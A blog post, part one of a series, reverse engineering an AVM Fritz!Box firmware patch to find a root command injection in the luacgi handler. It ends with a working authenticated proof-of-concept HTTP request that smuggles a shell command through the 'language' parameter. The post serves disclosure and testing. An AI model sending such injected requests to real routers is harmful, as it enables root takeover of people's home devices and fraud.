Posted on So 06 April 2014

AVM Fritz!Box root RCE: From Patch to Metasploit Module - I

This post illustrates the path from diffing the firmware versions and finding the interesting files via reverse engineering the patch through to finally writing an exploit (a Metasploit module) for the MIPS-based DSL-Router series by AVM. Almost every Fritz!Box device (including WLAN-Repeaters) with a market share of ~60% in Germany is/was affected by this bug - patches were released between February 7th and 25th.

Show TL;DR

Table of Content

Here is part II of this write-up
@m-1-k-e polished the PoC-Module and submitted it to Metasploit. It's now available at exploit/linux/http/fritzbox_echo_exec


History and Introduction

Early in February 2014 there have been a flurry of reports of exorbitant phone bills of Fritz!Box users in Germany. In particular, strangers caused international phone calls to premium service numbers, that cost the victim 4200€ within half an hour. AVM responded to these reports with a security advisory, published on February 6th:

[..] Nach bisherigem Stand lagen den Tätern zum Zeitpunkt des Angriffs die Zugangsdaten zur FRITZ!Box bereits vor. Wie die Täter an die Zugangsdaten kamen, wird aktuell untersucht. [..] Der Angriff betrifft nur die Anwender, welche den Fernzugriff aus dem Internet auf ihre FRITZ!Box freigeschaltet haben, [...]

As matters stand, the attackers have already obtained the credentials prior to actual attack. It is currenty investigated, how the attackers obtained these credentials. Only users, that unlocked the remote maintenance feature (access from the Internet) are affected.

Furthermore, they advised all Fritz!Box users to temporarily disable the remote access and stated, that they are examining the incidents in association with investigating authorities. A similiar avisory was sent via mail to all MyFritz! (AVM's remote maintenance product) users.
Shortly after, AVM corrected itself, said that "attackers found a way to bypass the authentication of the remote maintenance tool" and started shipping patched versions of the Fritz!OS-Firmware. As from February 7th, AVM delivered updates for most Fritz!Boxes - a detailled list can be found here.

[ It's noteworthy, that the list shows that some older models (e.g. 3170) did not receive a security patch, because it's "not necessary".
The reason according to this article:

This device does not have a telephone feature.

As you will see soon, the phone feature has absolutely nothing to do with the vulnerability itself, but it's absence only limits the financial implications of a successful exploitation - but who cares? All we ever want is a shell.
Let's hope, the actual reason is the non-existence of the flaw, otherwise we will probably have some won't-fix devices - not, that this is anything new in the router world, but AVM handled the whole case extraordinary well, so it would be great pity. Unfortunately, I don't have access to one of these devices to run the exploit against them, but I would be happy to add the results here if you do so. In the meantime, I will take a look at the downloadable firmware.

(I managed to take a look at the Firmware of the Fritz!Box Fon 7113. It seems, that version 4.68 (the solely-german one) was not affected, however version 4.86 (the DACH-version for Germany, Austria and Switzerland) was affected by this vulnerability and received an update.)]

On February 17th, Heise Online published another report: They analyzed the patch and were able to exploit the vulnerability on a router with disabled remote administration. A simple visit of a website should have been enough to upload the configuration file, that includes DSL- and DynDNS-Credentials, to their server. Well, now, this sounds interesting and reverse-worthy.

Especially because of all this FUD, my own curiosity and the fact, that this case - despite the huge impact in Germany - did not receive proper recognition in the international infosec community (yeah, I'm looking at you, /r/netsec), I decided to invest some time in dissecting the patch with the ultimate goal of writing a Metasploit Module and this write-up. I guess, we'd have seen a metasploit module for this within a few days, if this was a international thingy.

I have been waiting with this undertaking and the publication of the results quite a while, since my goal isn't to endanger millions of people, but

  • to bring some light on the issue,
  • give admins and pentesters an easy way to verify the presence/absence of the vulnerability
  • and to write a bit about the methodology used to reverse engineer a patch for an embedded (MIPS-)Device.

But two months after the release of patched Firmware versions, it should be responsible and safe enough to disclose some technical details (and a module to test your Fritz!Box), particularly for the simple reason that a good deal of the affected devices should've been already patched by the providers via TR-069 quiet a long time ago.

[Insert Disclaimer here]

[ Edit: Heise Online has published another report about router vulnerabilities and defenses against them in the magazine c't, that you can buy starting at Monday, April 7th. They've also included a "test-page" here, but in case you don't trust them, I also included a test page at the end of this article, that may be a bit more transparent (especially after reading this post).

I will just provide some quotes from the article:

[...] eine Schwachstelle, die seit Jahren in der Fritzbox Firmware schlummert und laut AVM nicht einmal von vier externen Sicherheitsfirmen aufgespürt worden war.

[...] a bug, that had been slumbring in the Fritzbox firmware for years and hadn't even been found by 4 external security companies.

And regarding a test they've conducted:

100 000 lieferten uns konkrete Versionsinformationen, davon waren rund 30 000 - also fast jede Dritte - verwundbar.

100 000 provided specific version information, 30 000 - so one third - of these were affected.

Egal, welche Prozentzahl man nimmt: Angesichts der ernomen Verbreitung der Fritzbox [...] bedeuten beide, dass immer noch Millionen von Geräten anfällig sind.

Whatever exact percentage number you take: Due to the vast spread of the Fritzbox, there are still millions of vulnerable devices.

By providing the test page, they've also published a way now to exploit this vulnerability. ]

But enough of all this timeline, introduction, personal motivation thing, let's get our hands dirty!

Unpacking the Firmware

But first, we actually have to get our hands on an unpatched and patched Fritz!OS-Firmware for the same device (to minimize the unrelated differences). The current version for each device can be downloaded from AVM's ftp server, but unfortunately (and justifiably) AVM deleted all previous releases. And even though, there evolved a great community around the Fritz!Boxes, it seems, there are no mirrors of the FTP-Server (Edit: I found a dubious mirror now). So, if you want to replicate this project (and I highly suggest to do so), you'll now probably find the two images used somewhere on the Internet. :)
Another example of the afore-mentioned community is the team around freetz. Freetz is a modified and extended version of Fritz!OS, but what's even better, is the toolchain they provide to unpack, modify, pack and flash your customized firmware again. This is necessary, since every freetz-user has to build his/her own firmware due to legal reasons. Yeah, thanks, I guess...

So, this time, we will use freetz-1.2 for the unpacking, but I'm sure, we will use binwalk/unsquashfs in another blog post anytime soon, so don't worry. First, let's install all dependencies:

$ sudo apt-get -y install git graphicsmagick subversion gcc g++ binutils autoconf automake automake1.9 libtool make bzip2 libncurses5-dev zlib1g-dev flex bison patch texinfo tofrodos gettext pkg-config ecj fastjar realpath perl libstring-crc32-perl gawk python libusb-dev unzip intltool libacl1-dev libcap-dev libc6-dev-i386 lib32ncurses5-dev gcc-multilib

freetz wants us to temporarily set umask to 0022 before cloning the repository. This changes the privileges new files are created with. The notation is similiar to the unix file permissions, but a set bit (1) means, that this privilege will be stripped off the newly created file.

fabian@7a69:~/blog$ mkdir Fritz!Box && cd Fritz!Box
fabian@7a69:~/blog/Fritz!Box$ tmp_umask=$(umask)
fabian@7a69:~/blog/Fritz!Box$ svn co http://svn.freetz.org/branches/freetz-stable-1.2 freetz-1.2
fabian@7a69:~/blog/Fritz!Box$ umask $tmp_umask
fabian@7a69:~/blog/Fritz!Box$ cd ./freetz-1.2

Run make menuconfig and exit the GUI immediately. After this, run 'make tools' and enjoy all the compiler warnings running up your screen. The last lines you should be presented, are:

gcc -o tichksum ckmain.o cksum.o
make[1]: Verlasse Verzeichnis '/home/fabian/fritz.box/freetz-1.2/source/host-tools/TI-chksum-0.2'
cp /home/fabian/fritz.box/freetz-1.2/source/host-tools/TI-chksum-0.2/tichksum tools/tichksum
fabian@7a69:~/fritz.box/freetz-1.2$

Now, copy the downloaded firmware-images into the ~/fritz.box-folder and unpack the firmware with fwmod (while -u stands for 'unpack' and -d specifies the destination folder):

fabian@7a69:~/blog/Fritz!Box/freetz-1.2$ ./fwmod -u -d ../unpatched ../FRITZ.Box_Fon_WLAN_7360.124.06.01.image

STEP 1: UNPACK
unpacking firmware image
splitting kernel image
unpacking filesystem image
unpacking var.tar
done.

fabian@7a69:~/blog/Fritz!Box/freetz-1.2$ ./fwmod -u -d ../patched ../FRITZ.Box_Fon_WLAN_7360.124.06.03.image

Now we have two folders, each of them containing our unpacked firmware image. A quick examination reveals a standard linux filesystem, a lot of Lua code in the /usr/www*-directories (so it seems, that the web interface is mostly written in Lua) and quiet a few

ELF 32-bit MSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, stripped

executables.

Diffing and Finding

Hence, our goal is to find the significant differences between the two releases. To gain a quick overview, we will use the unix-utility diff and compare both folders:

fabian@7a69:~/blog/Fritz!Box$ diff -r unpatched patched 2>/dev/null
Binärdateien unpatched/original/filesystem/bin/allcfgconv und patched/original/filesystem/bin/allcfgconv sind verschieden.
Binärdateien unpatched/original/filesystem/bin/ar7cfgctl und patched/original/filesystem/bin/ar7cfgctl sind verschieden.
[...]
Binärdateien unpatched/original/filesystem/etc/256K und patched/original/filesystem/etc/256K sind verschieden.
diff -r unpatched/original/filesystem/etc/init.d/rc.conf patched/original/filesystem/etc/init.d/rc.conf
333c333
< export CONFIG_VERSION="06.01"
---
> export CONFIG_VERSION="06.03"
[...]

(I'm sorry for the german output, but "verschieden" means "different" - again what learned ;))
This rudimentary diff shows some updated version numbers in text files and 89 (out of ~500 (file -f $(find patched) | grep -i "elf\|data" | grep -viE 'image|text' | wc -l => 477)) changed binary files. Since the ELF-header doesn't contain a timestamp, not all ELF files have changed. However, obviously, a different compiler version or a different compiler configuration can and probably will produce different outputs, that may only differ in a few bytes.

Anyway, this first diff shows us something more important:
No files have been added (or removed) and there are no changes in the lua source code.
But mind, we don't want to see, if the binaries have changed, but how much they've changed, so we have to use another approach. One possibility I thought of involves compressing each unpatched binary, then compressing the binary together with the patched counterpart and comparing the growth during this operation relatively betweeen all binaries. Although this might (or might not) work, I finally used the tool bsdiff, whose purpose is to build the smallest possible patch file between two binaries, which could again be applied to the original binary with bspatch.
The idea is simple: bsdiffing every unpatched file with the patched equivalent, noting the size of the produced patch file and eventually sorting the result (reversed) to find the binaries with the least similarities:

#!/bin/bash

out=./diffs
tmp=./tmp_bsdiff

rm $out

for currentFile in $(find ./unpatched/original/filesystem/usr/www -type f)
do
    bsdiff $currentFile ./patched/${currentFile#*d/} $tmp
    echo -e "$(du -b $tmp | cut -f 1)\t${currentFile#*d/}" >> $out
done

rm $tmp
sort -r $out -o $out

and the output:

3041    original/filesystem/usr/www/cgi-bin/luacgi
2041    original/filesystem/usr/www/cgi-bin/webcm
665     original/filesystem/usr/www/cgi-bin/nasupload_notimeout
275     original/filesystem/usr/www/cgi-bin/firmwarecfg
262     original/filesystem/usr/www/cgi-bin/capture_notimeout
261     original/filesystem/usr/www/cgi-bin/tr064cgi
257     original/filesystem/usr/www/cgi-bin/webtrace
[...]

We've obviously found two RE-candidates: luacgi and webcm. :) Not only did they change quite a bit, but these binaries also reside in the cgi-bin-directory and are therefore responsible for handling user input via Common Gateway Interface.

Analysis of luacgi

Let's start with the first entry, luacgi. To analyze specific binaries (and especially their varieties), we need other tools:
A proper MIPS-supporting disassembler and probably a plugin, that will show us changes in the control flow and the overall binary. If you only want to use open-source software, you could chance your luck with radare2 (radiff is your friend). However, I'll be using the de-facto standard IDA Pro (6.1) in this case. Unfortunately, we need a disassembler with support for the MIPS-architecture - neither the free Demo of the current version nor the free IDA Pro 5.0 supports this platform.
Furthermore, we need a binary-diffing plugin for IDA:

Altough BinDiff might draw the neatest graphs, I will use the latter, patchdiff2 for this task (simply unpack the appropriate .p64 and .plw files into IDA's plugin folder).

First, we load the unpatched luacgi binary into IDA Pro
Load by Drag'n'Drop

and choose the patched version to compare it to (Ctrl+8):
Start the Plugin

We can see a lot of untouched ("identical") functions, a few new/old ("unmatched") functions and one with a few changes, that patchdiff2 was able to match.
Overview

When we take a look at the unmatched functions, we can immediately spot, that system is not imported anymore, but we have 3 new imports, that are most probably responsible for Inter-process communication and are written by AVM, hence the name:
unmatched

This already sounds interesting, but let's take a look at the matched and changed function. Simply right click -> Display Graphs it (or press Ctrl+E):
unmatched

We can see two changes in the control flow.
When we zoom into the top rectangle, we sight, that a simple call to open /var/temp_lang with read-rights is now preceded by a few checks, that ensure

  • that the parameter is less than 4 bytes long
    • and that every byte (up to the string terminating NULL-Byte) is between 0x61 ("a") and 0x61+0x1a ("z") (sltui = Set on less than immediate unsigned)

otherwise, a new "invalid lang"-lua-error is thrown.

unmatched

If open succeeded, the function reads in 16 bytes from the file into a buffer and compares it to the function-argument, first by comparing the strlen of both and (asuming that both strings are of the same size) with a call to memcmp.
The file will be closed and, if the string lengths and contents are equal, the function will return immediately. Otherwise, the first byte of the input-string is compared to \0. If so, the file /var/temp_lang will be deleted by a call to unlink and the string msgsend ctlmgr temp_lang_changed will be copied into a buffer by a call to snprintf.

unmatched

Supposing that our parameter was not empty, we will reopen the file (now with write-privileges), write the parameter string to the file, close it again and again make a call to snprintf to fill a local variable (btw, this is the same variable, that has been used to read in the contents of /var/temp_lang in the beginning). However, this time, snprintf makes actually sense.
This is how the call looks like in C:

snprintf(buf, 0x7F, "msgsend ctlmgr temp_lang_changed %s", function_parameter);

immediately followed a call to system with this buffer as parameter.

Jackpot! :)

If we can control the parameter of this function, we should be able inject arbitrary commands with a maximum length of

>>> print 0x7F - len("msgsend ctlmgr temp_lang_changed ") - 1, 'bytes.'
93 bytes.

[ If you're not familiar with command injection:
system() spawns a shell and simply executes the parameter. The intended behaviour in this case is the execution of msgsend with the parameter ctlmgr (a meta-interface and responsible for organizational tasks) as a receiver and e.g. temp_lang_changed en as message. However, if we control the new language variable, we can set it to e.g. ; cat "food in cans", concatenate two commands and therefore inject arbitrary commands (as root user). It's not rocket science. ]

So, how do we reach this function?

unmatched

The function is only crossreferenced by one other function, do_display_page. Let's jump to this XRef (X) and see, how we can trigger the vulnerable code path:

unmatched

Since most of the web-frontend is - as we have seen in the beginning of the analysis - written in Lua, there has to be an interface between the scripting language and the binaries. In this code section, functions from the binary are directly exported to Lua by setting a corresponding field at some time during the LuaScript_MakeFunction. The interesting sub_403EEC function is accessible through the Lua function set_temporary_language.

[ In case you're not that familiar with other instruction sets besides x86(_64) and you wonder how, you wonder why the address of our function is loaded into the a2-Register after the branch to LuaScript_MakeFunction:
This is due to the Branch Delay Slot, that exists in the MIPS architecture. After a branch, the subsequent instruction will always be executed to maximize the pipeline usage - but this is an entirely different topic ;). ]

So, where is set_temporary_language called?

Since Lua is a scripting language, we have full access to the source code, so let's just grep the whole firmware filesystem for the string:

fabian@7a69:~/blog/Fritz!Box$ grep -r -i set_temporary_language ./unpatched/
./unpatched/original/filesystem/usr/www/avm/assis/basic_first.lua:if box.set_temporary_language then
./unpatched/original/filesystem/usr/www/avm/assis/basic_first.lua:box.set_temporary_language(currlang)
Übereinstimmungen in Binärdatei ./unpatched/original/filesystem/usr/www/cgi-bin/luacgi.

sublime basic-lua

Yess! set_temporary_language is called with user-supplied data (via box.post.language)! Eventually, we can be sure, that we've actually found a vulnerability, that allows us to inject arbitrary commands (with a max_length of 93 bytes), just by requesting the url http://fritz.box/assis/basic_first.lua with a malicious POST parameter "language" and some other parameters!

These parameters can be easily fished out of the Lua script, so I won't bother you with this and present you the full request, together with the router's response:

POST /assis/basic_first.lua HTTP/1.1
Host: fritz.box
Content-Length: 125
Content-Type: application/x-www-form-urlencoded 
sid=a2764031ef512dc0&prevdlg=dlg_country&country=049&annex=B&needed=language%2Ccountry%2Cannex&language=de|%20uname%20-a&forward=

HTTP/1.1 200 OK
Connection: Keep-Alive
Keep-Alive: timeout=60, max=300
Linux fritz.fonwlan.box 2.6.32.60 #1 SMP Wed Dec 8 13:37:42 CET 2013 mips GNU/Linux
HTTP/1.0 303 See Other
Content-Length: 0

However, there is something, I have to tell you. And you may have already noticed this: To exploit this vulnerability, we need a valid Session ID. :(

The reason for this is this sneaky dofile("../templates/global_lua.lua") in line 4, that opens global_lua.lua and executes it's content as a Lua chunk.

However, I promise, we will find the pre-auth vulnerability in the second part of this tutorial. I further promise, that this involves less introduction and preparation blah blah, but rather more Reverse Engineering of MIPS assembly. Additionally, we will write a fully fledged Metasploit exploit for this vulnerability and we will probe AMV's statement, that an update is "not necessary" for older versions of the Fritz!Box. :)

Have I already mentioned that you can find the second part of this tutorial/write-up here?





In the end, I will just leave you the spoilsport in all its glory:

package.path = "../lua/?.lua;../menus/?.lua;../help/?.lua;" .. (package.path or "")
require("dbg")
dbg.timestamp("global")
require("lualib")
g_tab_options = {}
function global_lua_check_sid_cb()
    --Seiten auf denen kein Login nötig ist.
    local no_login_page = {
        ["/login.lua"] = true,
        ["/logincheck.lua"] = true,
        ["/vergessen.lua"] = true,
        ["/restore.lua"] = true,
        ["/myfritz_email_verified.lua"] = true
    }
    if not gl.logged_in and not no_login_page[box.glob.script] then
        --Es ist eine Seite auf der ich mich einloggen muss.
        if box.get.xhr then
            --es handelt sich um einen ajax request per get dann ein forbidden und keine Loginseite zurückgeben
            require("http")
            http.forbidden()
        elseif box.post.xhr then
            -- box.post.xhr, also ein POST per Ajax, da brechen wir einfach ab weil wir das allgemein nicht zulassen.
            box.end_page()
        else
            --Kein Ajax und nicht eingelogged dann Fehlerbehandlung
            local loc = "/login.lua"
            local sep = "?"
            loc = loc .. sep .. "page=" .. box.glob.script
            sep = "&"
            for name,value in pairs(box.get) do
                if name:sub(-2)~="_i" then
                    loc = loc .. sep .. name .. "=" .. value
                    sep = "&"
                end
            end
            if box.glob.inputsid then
                loc = loc .. sep .. "sid=" .. box.glob.inputsid
            end
            require("http")
            http.redirect(loc)
        end
    elseif gl.logged_in then
        if box.get.xhr and gl.skipauth_sidchanged then
            -- Eingelogged wg. skip_auth, aber die alte inputsid ist ungültig
            require("http")
            http.forbidden()
        end
    end
end
if not gl or not gl.security_zone or gl.security_zone == "box" then
    if not g_check_sid_cb then
        g_check_sid_cb = global_lua_check_sid_cb
    end
    require("check_sid")
end
require("log")
require("href")
require("config")
if next(box.post) then
    require("general")
    require("cmtable")
end
if box.get.stylemode and box.get.stylemode=="print" then
    g_print_mode = true
end
dbg.timestamp("page")

© 7a69. Built using Pelican. Original theme by Giulio Fidente on gitub, modified by 7a69.